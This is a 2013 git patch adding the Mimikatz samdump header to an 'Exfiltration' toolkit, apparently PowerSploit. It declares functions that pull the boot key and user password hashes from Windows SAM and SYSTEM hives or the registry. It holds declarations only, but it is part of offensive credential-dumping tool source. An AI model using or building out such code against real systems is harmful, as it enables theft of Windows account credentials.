From 59cd18360764af6e6133ad11ec9cd8295372e587 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Tue, 1 Oct 2013 09:47:05 -0700 Subject: Adding Invoke-Mimikatz and Invoke-Ninjacopy --- .../mimikatz/modules/mod_mimikatz_samdump.h | 34 ++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h (limited to 'Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h') diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h new file mode 100644 index 0000000..6586d03 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_hive.h" +#include "mod_hash.h" +#include "mod_system.h" +#include +#include + +class mod_mimikatz_samdump +{ +private: + static bool getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet); + static bool getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName); + + static bool getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]); + static bool getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]); + static bool getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]); + + static bool getBootKeyFromReg(BYTE bootkey[0x10]); + static bool getInfosFromReg(BYTE bootkey[0x10]); + static bool getUsersAndHashesFromReg(BYTE bootkey[0x10]); + + static void infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x20]); +public: + static vector getMimiKatzCommands(); + + static bool bootkey(vector * arguments); + static bool full(vector * arguments); +}; -- cgit v1.2.3